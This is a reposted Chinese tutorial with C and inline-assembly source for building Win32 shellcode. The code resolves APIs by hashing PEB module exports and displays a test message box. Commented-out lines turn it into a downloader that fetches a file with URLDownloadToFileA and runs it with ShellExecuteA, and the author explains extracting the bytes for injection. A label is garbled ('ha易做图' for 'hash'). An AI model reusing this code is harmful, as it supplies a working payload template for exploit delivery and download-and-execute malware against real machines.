当前位置:编程学习 > C/C++ >>

使用C语言编写win32平台Shellcode

使用C语言编写win32平台Shellcode
平台:Microsoft Visual C++ 6.0
作者:Cryin (http://hi.baidu.com/justear/)

#include <stdio.h>
#include <Windows.h>
//代码基于Didier Stevens的文章Writing WIN32 Shellcode With a C-compiler及源代码
//参考http://blog.didierstevens.com/2010/05/04/writing-win32-shellcode-with-a-c-compiler/

//函数hash值 宏定义 可根据ResolvAddr过程中hash计算过程得出

//Code by Stevens
#define KERNEL32_HASH 0x000d4e88
#define KERNEL32_LOADLIBRARYA_HASH 0x000d5786
#define KERNEL32_GETPROCADDRESSA_HASH 0x00348bfa
 
//添加自定义函数,直接拷贝MSDN中函数定义,注意函数名不同
//参见 函数挂接
typedef HMODULE (WINAPI *pLoadLibraryA)(LPCTSTR lpFileName);
typedef FARPROC (WINAPI *pGetProcAddressA)(HMODULE hModule, LPCTSTR lpProcName);

typedef int (WINAPI *pMessageBoxA)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
typedef HINSTANCE (WINAPI *pShellExecuteA)(
        HWND hwnd,
        LPCTSTR lpVerb,
        LPCTSTR lpFile,
        LPCTSTR lpParameters,
        LPCTSTR lpDirectory,
        INT nShowCmd
        );

typedef HRESULT (WINAPI *pURLDownloadToFileA)(LPUNKNOWN,LPCSTR,LPCSTR,DWORD,LPBINDSTATUSCALLBACK);

struct ShellCodeInfo
{
 pLoadLibraryA fLoadLibraryA;
 pGetProcAddressA fGetProcAddressA;
 
 HMODULE User32;
 HMODULE Urlmon;
 HMODULE shell32;

 pMessageBoxA fMessageBoxA;
 pShellExecuteA fShellExecuteA;
 pURLDownloadToFileA fURLDownloadToFile;
};
void ShellcodeEntry();
void  ShellCodeStart(void)
{
 __asm
 {
  call ShellcodeEntry
  ret
 }
}
void ResolvAddr(pLoadLibraryA *pfLoadLibraryA,pGetProcAddressA *pfGetProcAddressA)
{
 pLoadLibraryA fLoadLibraryA;
 pGetProcAddressA fGetProcAddressA;
 //获取API函数地址代码出自The Shellcoders Handbook一书
 //支持win 2k/NT/xp/7其它没测试
 __asm
 {
  push KERNEL32_LOADLIBRARYA_HASH
  push KERNEL32_HASH
  call ResolvFuncAddr
  mov fLoadLibraryA, eax

  push KERNEL32_GETPROCADDRESSA_HASH
  push KERNEL32_HASH
  call ResolvFuncAddr
  mov fGetProcAddressA, eax

  jmp totheend

 ResolvFuncAddr:
  push ebp
  mov ebp, esp
  push ebx
  push esi
  push edi
  push ecx
  push fs:[0x30]
  pop eax
  mov eax, [eax+0x0c]
  mov ecx, [eax+0x0c]
 next_module:
  mov edx, [ecx]
  mov eax, [ecx+0x30]
  push 0x02
  mov edi, [ebp+0x08]
  push edi
  push eax
  call ha易做图
  test eax, eax
  jz foundmodule
  mov ecx, edx
  jmp next_module
 foundmodule:
  mov eax, [ecx+0x18]
  push eax
  mov ebx, [eax+0x3c]
  add eax, ebx
  mov ebx, [eax+0x78]
  pop eax
  push eax
  add ebx, eax
  mov ecx, [ebx+28]
  mov edx, [ebx+32]
  mov ebx, [ebx+36]
  add ecx, eax
  add edx, eax
  add ebx, eax
 find_procedure:
  mov esi, [edx]
  pop eax
  push eax
  add esi, eax
  push 1
  push [ebp+12]
  push esi
  call ha易做图
  test eax, eax
  jz found_procedure
  add edx, 4
  add ebx, 2
  jmp find_procedure
 found_procedure:
  pop eax
  xor edx, edx
  mov dx, [ebx]
  shl edx, 2
  add ecx, edx
  add eax, [ecx]
  pop ecx
  pop edi
  pop esi
  pop ebx
  mov esp, ebp
  pop ebp
  ret 0x08

 ha易做图:
  push ebp
  mov ebp, esp
  push ecx
  push ebx
  push edx
  xor ecx,ecx
  xor ebx,ebx
  xor edx,edx
  mov eax, [ebp+0x08]
 hashloop:
  mov dl, [eax]
  or dl, 0x60
  add ebx, edx
  shl ebx, 0x01
  add eax, [ebp+16]
  mov cl, [eax]
  test cl, cl
  loopnz hashloop
  xor eax, eax
  mov ecx, [ebp+12]
  cmp ebx, ecx
  jz donehash
  inc eax
 donehash:
  pop edx
  pop ebx
  pop ecx
  mov esp, ebp
  pop ebp
  ret 12

 totheend:

 }

 *pfLoadLibraryA = fLoadLibraryA;
 *pfGetProcAddressA = fGetProcAddressA;
}
void LoadShellcode(ShellCodeInfo *scinfo)
{
 LPTSTR Title="Cryin";
 LPTSTR Message="Hello Shellcode!";
 LPTSTR url="/kf/201012/20101217125112766.gif";
 LPTSTR savepath="C:\logo.gif";

 // MessageBox(NULL,"hello Shellcode!","Cryin",0);

 scinfo->fMessageBoxA(NULL,Message,Title,MB_OK);
        // scinfo->fURLDownloadToFile(NULL,url,savepath,NULL,NULL);
        // scinfo->fShellExecuteA(NULL,0,savepath,0,0,SW_SHOW);
 
}

//Shellcode 入口函数
void ShellcodeEntry()
{
 ShellCodeInfo scinfo;
  ResolvAddr(&(scinfo.fLoadLibraryA), &(scinfo.fGetProcAddressA));
 scinfo.User32=scinfo.fLoadLibraryA("User32.dll");
 scinfo.Urlmon=scinfo.fLoadLibraryA("Urlmon.dll");
 scinfo.shell32=scinfo.fLoadLibraryA("shell32.dll");

 scinfo.fMessageBoxA=(pMessageBoxA)scinfo.fGetProcAddressA(scinfo.User32,"MessageBoxA");
 // scinfo.fShellExecuteA=(pShellExecuteA)scinfo.fGetProcAddressA(scinfo.shell32,"ShellExecuteA");
 // scinfo.fURLDownloadToFile=(pURLDownloadToFileA)scinfo.fGetProcAddressA(scinfo.Urlmon,"URLDownloadToFileA");
 LoadShellcode(&scinfo);
}

int main()
{
 //shellcode的长度:(PDWORD)main - (PDWORD)ShellCodeStart;
 //Shellcode起始位置:(PDWORD)ShellCodeStart
 //根据上面信息就可将shellcode提取
 //这里本想实现自动提取但未实现。可利用winhex手动提取
 ShellcodeEntry();
 return 0;
}


补充:软件开发 , C语言 ,
CopyRight © 2022 站长资源库 编程知识问答 zzzyk.com All Rights Reserved
部分文章来自网络,